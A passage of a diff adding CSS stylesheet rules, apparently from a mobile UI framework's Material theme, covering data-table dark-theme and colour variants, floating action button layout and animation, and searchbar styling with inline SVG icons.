15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .md.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .md.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.md .theme-dark .data-table thead th:not(.sortable-cell-active), +.data-table.md .theme-dark thead th:not(.sortable-cell-active), +.md .theme-dark .data-table thead td:not(.sortable-cell-active), +.data-table.md .theme-dark thead td:not(.sortable-cell-active), +.md .theme-dark .data-table .data-table-actions a.link, +.data-table.md .theme-dark .data-table-actions a.link, +.md .theme-dark .data-table td.actions-cell a.link, +.data-table.md .theme-dark td.actions-cell a.link, +.md .theme-dark .data-table th.actions-cell a.link, +.data-table.md .theme-dark th.actions-cell a.link { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .data-table .data-table-links a.link:before, +.data-table.md .theme-dark .data-table-links a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .data-table .data-table-links a.link.active-state:before, +.data-table.md .theme-dark .data-table-links a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .data-table tbody td:before, +.data-table.md .theme-dark tbody td:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.md .theme-dark.data-table-collapsible tr:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.md .theme-dark tbody tr.data-table-row-selected { + background-color: rgba(255, 255, 255, 0.05); +} +.md.device-desktop .theme-dark .data-table tbody tr:hover, +.md.device-desktop .theme-dark.data-table tbody tr:hover { + background-color: rgba(255, 255, 255, 0.05); +} +.md .color-theme-red .data-table-header-selected, +.md .data-table-header-selected.color-red { + background: rgba(244, 67, 54, 0.1); +} +.md .color-theme-red .data-table-title-selected, +.md .color-red .data-table-title-selected { + color: #f44336; +} +.md .color-theme-green .data-table-header-selected, +.md .data-table-header-selected.color-green { + background: rgba(76, 175, 80, 0.1); +} +.md .color-theme-green .data-table-title-selected, +.md .color-green .data-table-title-selected { + color: #4caf50; +} +.md .color-theme-blue .data-table-header-selected, +.md .data-table-header-selected.color-blue { + background: rgba(33, 150, 243, 0.1); +} +.md .color-theme-blue .data-table-title-selected, +.md .color-blue .data-table-title-selected { + color: #2196f3; +} +.md .color-theme-pink .data-table-header-selected, +.md .data-table-header-selected.color-pink { + background: rgba(233, 30, 99, 0.1); +} +.md .color-theme-pink .data-table-title-selected, +.md .color-pink .data-table-title-selected { + color: #e91e63; +} +.md .color-theme-yellow .data-table-header-selected, +.md .data-table-header-selected.color-yellow { + background: rgba(255, 235, 59, 0.1); +} +.md .color-theme-yellow .data-table-title-selected, +.md .color-yellow .data-table-title-selected { + color: #ffeb3b; +} +.md .color-theme-orange .data-table-header-selected, +.md .data-table-header-selected.color-orange { + background: rgba(255, 152, 0, 0.1); +} +.md .color-theme-orange .data-table-title-selected, +.md .color-orange .data-table-title-selected { + color: #ff9800; +} +.md .color-theme-gray .data-table-header-selected, +.md .data-table-header-selected.color-gray { + background: rgba(158, 158, 158, 0.1); +} +.md .color-theme-gray .data-table-title-selected, +.md .color-gray .data-table-title-selected { + color: #9e9e9e; +} +.md .color-theme-white .data-table-header-selected, +.md .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.md .color-theme-white .data-table-title-selected, +.md .color-white .data-table-title-selected { + color: #ffffff; +} +.md .color-theme-black .data-table-header-selected, +.md .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.md .color-theme-black .data-table-title-selected, +.md .color-black .data-table-title-selected { + color: #000000; +} +/* === FAB === */ +.fab { + position: absolute; + z-index: 1500; +} +.fab > a, +.fab-buttons a { + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + overflow: hidden; + z-index: 1; +} +.fab > a i { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + -webkit-transition: 300ms; + transition: 300ms; +} +.fab > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + opacity: 0; +} +.fab[class*="fab-center"] { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); +} +.fab[class*="left-center"], +.fab[class*="right-center"] { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); +} +.fab[class*="center-center"] { + top: 50%; + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.fab div.fab-buttons a { + width: 40px; + height: 40px; +} +.fab-buttons { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + visibility: hidden; + pointer-events: none; + position: absolute; +} +.fab-buttons a { + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + opacity: 1; +} +.fab-opened .fab-buttons { + visibility: visible; + pointer-events: auto; +} +.fab-opened .fab-buttons a { + opacity: 1; + -webkit-transform: translate3d(0, 0px, 0) scale(1) !important; + transform: translate3d(0, 0px, 0) scale(1) !important; +} +.fab-opened .fab-buttons a:nth-child(2) { + -webkit-transition-delay: 50ms; + transition-delay: 50ms; +} +.fab-opened .fab-buttons a:nth-child(3) { + -webkit-transition-delay: 100ms; + transition-delay: 100ms; +} +.fab-opened .fab-buttons a:nth-child(4) { + -webkit-transition-delay: 150ms; + transition-delay: 150ms; +} +.fab-opened .fab-buttons a:nth-child(5) { + -webkit-transition-delay: 200ms; + transition-delay: 200ms; +} +.fab-opened .fab-buttons a:nth-child(6) { + -webkit-transition-delay: 250ms; + transition-delay: 250ms; +} +.fab-buttons-top, +.fab-buttons-bottom { + left: 50%; + width: 40px; + margin-left: -20px; +} +.fab-buttons-top { + bottom: 100%; + margin-bottom: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: reverse; + -webkit-flex-direction: column-reverse; + -ms-flex-direction: column-reverse; + flex-direction: column-reverse; +} +.fab-buttons-top a { + -webkit-transform: translate3d(0, 8px, 0) scale(0.3); + transform: translate3d(0, 8px, 0) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-top a + a { + margin-bottom: 16px; +} +.fab-buttons-bottom { + top: 100%; + margin-top: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.fab-buttons-bottom a { + -webkit-transform: translate3d(0, -8px, 0) scale(0.3); + transform: translate3d(0, -8px, 0) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-bottom a + a { + margin-top: 16px; +} +.fab-buttons-left, +.fab-buttons-right { + top: 50%; + height: 40px; + margin-top: -20px; +} +.fab-buttons-left { + right: 100%; + margin-right: 16px; +} +.fab-buttons-left a { + -webkit-transform: translate3d(8px, 0px, 0) scale(0.3); + transform: translate3d(8px, 0px, 0) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-buttons-left a + a { + margin-right: 16px; +} +.fab-buttons-right { + left: 100%; + margin-left: 16px; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.fab-buttons-right a { + -webkit-transform: translate3d(-8px, 0, 0) scale(0.3); + transform: translate3d(-8px, 0, 0) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-right a + a { + margin-left: 16px; +} +.fab-buttons-center { + left: 0%; + top: 0%; + width: 100%; + height: 100%; +} +.fab-buttons-center a { + position: absolute; +} +.fab-buttons-center a:nth-child(1) { + left: 50%; + margin-left: -20px; + bottom: 100%; + margin-bottom: 16px; + -webkit-transform: translateY(-8px) scale(0.3); + transform: translateY(-8px) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-center a:nth-child(2) { + left: 100%; + margin-top: -20px; + top: 50%; + margin-left: 16px; + -webkit-transform: translateX(-8px) scale(0.3); + transform: translateX(-8px) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-center a:nth-child(3) { + left: 50%; + margin-left: -20px; + top: 100%; + margin-top: 16px; + -webkit-transform: translateY(8px) scale(0.3); + transform: translateY(8px) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-center a:nth-child(4) { + right: 100%; + margin-top: -20px; + top: 50%; + margin-right: 16px; + -webkit-transform: translateX(8px) scale(0.3); + transform: translateX(8px) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-opened.fab-morph > a i { + opacity: 0; +} +.fab-morph, +.fab-morph > a, +.fab-morph-target { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.fab-morph-target:not(.fab-morph-target-visible) { + display: none; +} +.fab-extended { + width: auto; +} +.fab-extended > a { + width: 100% !important; +} +.fab-text { + padding-left: 20px; + padding-right: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; + text-transform: uppercase; +} +.fab-label-button { + overflow: visible !important; +} +.fab-label { + position: absolute; + top: 50%; + padding: 4px 12px; + border-radius: 4px; + background: #fff; + color: #333; + white-space: nowrap; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + pointer-events: none; +} +.fab[class*="fab-right-"] .fab-label { + right: 100%; + margin-right: 8px; +} +.fab[class*="fab-left-"] .fab-label { + left: 100%; + margin-left: 8px; +} +.md .fab > a, +.md .fab-buttons a { + background: #2196f3; + width: 56px; + height: 56px; + border-radius: 28px; + color: #fff; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab > a.active-state, +.md .fab-buttons a.active-state { + background: #0c82df; +} +.md .fab[class*="fab-left"] { + left: 15px; +} +.md .fab[class*="fab-right"] { + right: 15px; +} +.md .fab[class*="-top"] { + top: 15px; +} +.md .fab[class*="-bottom"] { + bottom: 15px; +} +.md .navbar ~ * .fab[class*="-top"], +.md .navbar ~ .fab[class*="-top"] { + margin-top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ * .fab[class*="-top"], + .md .navbar ~ .fab[class*="-top"] { + margin-top: 64px; + } +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 48px; +} +.md .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 72px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 104px; +} +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 128px; +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 112px; + } + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 136px; + } +} +.md .toolbar-bottom-md ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md ~ .fab[class*="-bottom"], +.md .messagebar ~ * .fab[class*="-bottom"], +.md .messagebar ~ .fab[class*="-bottom"] { + margin-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md.tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 72px; +} +.md .fab-morph { + border-radius: 28px; + background: #2196f3; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.md .fab-extended { + min-width: 48px; +} +.md .fab-extended > a { + height: 48px; +} +.md .fab-extended > a i { + left: 24px; +} +.md .fab-extended i ~ .fab-text { + padding-left: 48px; +} +.md .fab-text { + font-weight: 500; + letter-spacing: 0.03em; +} +.md .fab-label { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); +} +.md .color-theme-red .fab > a, +.md .color-theme-red .fab-buttons a, +.md .color-theme-red.fab > a, +.md .color-theme-red.fab-buttons a { + background: #f44336; +} +.md .color-theme-red .fab > a.active-state, +.md .color-theme-red .fab-buttons a.active-state, +.md .color-theme-red.fab > a.active-state, +.md .color-theme-red.fab-buttons a.active-state { + background: #f21f0f; +} +.md .color-theme-red .fab-morph, +.md .color-theme-red.fab-morph { + background: #f44336; +} +.md .color-theme-green .fab > a, +.md .color-theme-green .fab-buttons a, +.md .color-theme-green.fab > a, +.md .color-theme-green.fab-buttons a { + background: #4caf50; +} +.md .color-theme-green .fab > a.active-state, +.md .color-theme-green .fab-buttons a.active-state, +.md .color-theme-green.fab > a.active-state, +.md .color-theme-green.fab-buttons a.active-state { + background: #409343; +} +.md .color-theme-green .fab-morph, +.md .color-theme-green.fab-morph { + background: #4caf50; +} +.md .color-theme-blue .fab > a, +.md .color-theme-blue .fab-buttons a, +.md .color-theme-blue.fab > a, +.md .color-theme-blue.fab-buttons a { + background: #2196f3; +} +.md .color-theme-blue .fab > a.active-state, +.md .color-theme-blue .fab-buttons a.active-state, +.md .color-theme-blue.fab > a.active-state, +.md .color-theme-blue.fab-buttons a.active-state { + background: #0c82df; +} +.md .color-theme-blue .fab-morph, +.md .color-theme-blue.fab-morph { + background: #2196f3; +} +.md .color-theme-pink .fab > a, +.md .color-theme-pink .fab-buttons a, +.md .color-theme-pink.fab > a, +.md .color-theme-pink.fab-buttons a { + background: #e91e63; +} +.md .color-theme-pink .fab > a.active-state, +.md .color-theme-pink .fab-buttons a.active-state, +.md .color-theme-pink.fab > a.active-state, +.md .color-theme-pink.fab-buttons a.active-state { + background: #ca1452; +} +.md .color-theme-pink .fab-morph, +.md .color-theme-pink.fab-morph { + background: #e91e63; +} +.md .color-theme-yellow .fab > a, +.md .color-theme-yellow .fab-buttons a, +.md .color-theme-yellow.fab > a, +.md .color-theme-yellow.fab-buttons a { + background: #ffeb3b; +} +.md .color-theme-yellow .fab > a.active-state, +.md .color-theme-yellow .fab-buttons a.active-state, +.md .color-theme-yellow.fab > a.active-state, +.md .color-theme-yellow.fab-buttons a.active-state { + background: #ffe712; +} +.md .color-theme-yellow .fab-morph, +.md .color-theme-yellow.fab-morph { + background: #ffeb3b; +} +.md .color-theme-orange .fab > a, +.md .color-theme-orange .fab-buttons a, +.md .color-theme-orange.fab > a, +.md .color-theme-orange.fab-buttons a { + background: #ff9800; +} +.md .color-theme-orange .fab > a.active-state, +.md .color-theme-orange .fab-buttons a.active-state, +.md .color-theme-orange.fab > a.active-state, +.md .color-theme-orange.fab-buttons a.active-state { + background: #d68000; +} +.md .color-theme-orange .fab-morph, +.md .color-theme-orange.fab-morph { + background: #ff9800; +} +.md .color-theme-gray .fab > a, +.md .color-theme-gray .fab-buttons a, +.md .color-theme-gray.fab > a, +.md .color-theme-gray.fab-buttons a { + background: #9e9e9e; +} +.md .color-theme-gray .fab > a.active-state, +.md .color-theme-gray .fab-buttons a.active-state, +.md .color-theme-gray.fab > a.active-state, +.md .color-theme-gray.fab-buttons a.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .fab-morph, +.md .color-theme-gray.fab-morph { + background: #9e9e9e; +} +.md .color-theme-white .fab > a, +.md .color-theme-white .fab-buttons a, +.md .color-theme-white.fab > a, +.md .color-theme-white.fab-buttons a { + background: #ffffff; +} +.md .color-theme-white .fab > a.active-state, +.md .color-theme-white .fab-buttons a.active-state, +.md .color-theme-white.fab > a.active-state, +.md .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.md .color-theme-white .fab-morph, +.md .color-theme-white.fab-morph { + background: #ffffff; +} +.md .color-theme-black .fab > a, +.md .color-theme-black .fab-buttons a, +.md .color-theme-black.fab > a, +.md .color-theme-black.fab-buttons a { + background: #000000; +} +.md .color-theme-black .fab > a.active-state, +.md .color-theme-black .fab-buttons a.active-state, +.md .color-theme-black.fab > a.active-state, +.md .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.md .color-theme-black .fab-morph, +.md .color-theme-black.fab-morph { + background: #000000; +} +.md .fab.color-red > a, +.md .fab.color-red .fab-buttons > a, +.md .fab-buttons.color-red a, +.md .fab > a.color-red, +.md .fab .fab-buttons > a.color-red { + background: #f44336; +} +.md .fab.color-red > a.active-state, +.md .fab.color-red .fab-buttons > a.active-state, +.md .fab-buttons.color-red a.active-state, +.md .fab > a.color-red.active-state, +.md .fab .fab-buttons > a.color-red.active-state { + background: #f21f0f; +} +.md .fab-morph.color-red { + background: #f44336; +} +.md .fab.color-green > a, +.md .fab.color-green .fab-buttons > a, +.md .fab-buttons.color-green a, +.md .fab > a.color-green, +.md .fab .fab-buttons > a.color-green { + background: #4caf50; +} +.md .fab.color-green > a.active-state, +.md .fab.color-green .fab-buttons > a.active-state, +.md .fab-buttons.color-green a.active-state, +.md .fab > a.color-green.active-state, +.md .fab .fab-buttons > a.color-green.active-state { + background: #409343; +} +.md .fab-morph.color-green { + background: #4caf50; +} +.md .fab.color-blue > a, +.md .fab.color-blue .fab-buttons > a, +.md .fab-buttons.color-blue a, +.md .fab > a.color-blue, +.md .fab .fab-buttons > a.color-blue { + background: #2196f3; +} +.md .fab.color-blue > a.active-state, +.md .fab.color-blue .fab-buttons > a.active-state, +.md .fab-buttons.color-blue a.active-state, +.md .fab > a.color-blue.active-state, +.md .fab .fab-buttons > a.color-blue.active-state { + background: #0c82df; +} +.md .fab-morph.color-blue { + background: #2196f3; +} +.md .fab.color-pink > a, +.md .fab.color-pink .fab-buttons > a, +.md .fab-buttons.color-pink a, +.md .fab > a.color-pink, +.md .fab .fab-buttons > a.color-pink { + background: #e91e63; +} +.md .fab.color-pink > a.active-state, +.md .fab.color-pink .fab-buttons > a.active-state, +.md .fab-buttons.color-pink a.active-state, +.md .fab > a.color-pink.active-state, +.md .fab .fab-buttons > a.color-pink.active-state { + background: #ca1452; +} +.md .fab-morph.color-pink { + background: #e91e63; +} +.md .fab.color-yellow > a, +.md .fab.color-yellow .fab-buttons > a, +.md .fab-buttons.color-yellow a, +.md .fab > a.color-yellow, +.md .fab .fab-buttons > a.color-yellow { + background: #ffeb3b; +} +.md .fab.color-yellow > a.active-state, +.md .fab.color-yellow .fab-buttons > a.active-state, +.md .fab-buttons.color-yellow a.active-state, +.md .fab > a.color-yellow.active-state, +.md .fab .fab-buttons > a.color-yellow.active-state { + background: #ffe712; +} +.md .fab-morph.color-yellow { + background: #ffeb3b; +} +.md .fab.color-orange > a, +.md .fab.color-orange .fab-buttons > a, +.md .fab-buttons.color-orange a, +.md .fab > a.color-orange, +.md .fab .fab-buttons > a.color-orange { + background: #ff9800; +} +.md .fab.color-orange > a.active-state, +.md .fab.color-orange .fab-buttons > a.active-state, +.md .fab-buttons.color-orange a.active-state, +.md .fab > a.color-orange.active-state, +.md .fab .fab-buttons > a.color-orange.active-state { + background: #d68000; +} +.md .fab-morph.color-orange { + background: #ff9800; +} +.md .fab.color-gray > a, +.md .fab.color-gray .fab-buttons > a, +.md .fab-buttons.color-gray a, +.md .fab > a.color-gray, +.md .fab .fab-buttons > a.color-gray { + background: #9e9e9e; +} +.md .fab.color-gray > a.active-state, +.md .fab.color-gray .fab-buttons > a.active-state, +.md .fab-buttons.color-gray a.active-state, +.md .fab > a.color-gray.active-state, +.md .fab .fab-buttons > a.color-gray.active-state { + background: #8a8a8a; +} +.md .fab-morph.color-gray { + background: #9e9e9e; +} +.md .fab.color-white > a, +.md .fab.color-white .fab-buttons > a, +.md .fab-buttons.color-white a, +.md .fab > a.color-white, +.md .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.md .fab.color-white > a.active-state, +.md .fab.color-white .fab-buttons > a.active-state, +.md .fab-buttons.color-white a.active-state, +.md .fab > a.color-white.active-state, +.md .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.md .fab-morph.color-white { + background: #ffffff; +} +.md .fab.color-black > a, +.md .fab.color-black .fab-buttons > a, +.md .fab-buttons.color-black a, +.md .fab > a.color-black, +.md .fab .fab-buttons > a.color-black { + background: #000000; +} +.md .fab.color-black > a.active-state, +.md .fab.color-black .fab-buttons > a.active-state, +.md .fab-buttons.color-black a.active-state, +.md .fab > a.color-black.active-state, +.md .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.md .fab-morph.color-black { + background: #000000; +} +.md.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(16px + constant(safe-area-inset-bottom)); + bottom: calc(16px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .md.device-iphone-x .ios-edges .fab[class*="fab-left"], + .md.device-iphone-x .popup .fab[class*="fab-left"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .md.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .md.device-iphone-x .ios-edges .fab[class*="fab-right"], + .md.device-iphone-x .popup .fab[class*="fab-right"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .md.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(16px + constant(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Searchbar === */ +.searchbar { + width: 100%; + position: relative; + z-index: 200; +} +.searchbar .searchbar-input-wrap { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + height: 100%; + position: relative; +} +.searchbar .searchbar-input-wrap input[type="search"] { + padding: 0; +} +.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button { + -webkit-appearance: none; + appearance: none; +} +.page > .searchbar { + position: absolute; + left: 0; + top: 0; +} +.searchbar-expandable { + position: absolute; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + pointer-events: none; +} +.searchbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.searchbar-disable-button { + cursor: pointer; + pointer-events: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + border: none; + outline: 0; + padding: 0; + margin: 0; + width: auto; + opacity: 0; +} +.searchbar-icon { + pointer-events: none; + background-position: center; + background-repeat: no-repeat; +} +.searchbar-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 100; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.searchbar-backdrop.searchbar-backdrop-in { + opacity: 1; + pointer-events: auto; +} +.page-content > .searchbar-backdrop { + position: fixed; +} +.searchbar-not-found { + display: none; +} +.hidden-by-searchbar, +.list .hidden-by-searchbar, +.list.li.hidden-by-searchbar, +.list li.hidden-by-searchbar { + display: none !important; +} +.md .searchbar { + height: 48px; + background: #fff; +} +.md .searchbar input[type="search"], +.md .searchbar input[type="text"] { + padding-right: 65px; + padding-left: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + font-family: inherit; + font-size: 20px; + color: #000; + font-weight: normal; +} +.md .searchbar input[type="search"]::-webkit-input-placeholder, +.md .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]:-ms-input-placeholder, +.md .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::-ms-input-placeholder, +.md .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::placeholder, +.md .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar-expandable { + height: 100%; +} +.md .searchbar-backdrop { + background: rgba(0, 0, 0, 0.25); +} +.md .searchbar-icon, +.md .searchbar-disable-button { + position: absolute; + width: 48px; + height: 48px; + right: -4px; + top: 50%; + margin-top: -24px; + background-size: 24px 24px; + background-repeat: no-repeat; + background-position: center; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .searchbar-icon { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button { + -webkit-transform: rotate(-90deg) scale(0.5); + transform: rotate(-90deg) scale(0.5); + font-size: 0 !important; + display: block; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar-disable-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar-enabled .searchbar-disable-button { + -webkit-transform: rotate(0deg) scale(1); + transform: rotate(0deg) scale(1); + pointer-events: auto; + opacity: 1; +} +.md .searchbar-enabled .searchbar-icon { + opacity: 0; + -webkit-transform: rotate(90deg) scale(0.5); + transform: rotate(90deg) scale(0.5); +} +.md .searchbar .input-clear-button { + width: 48px; + height: 48px; + margin-top: -24px; + background-image: 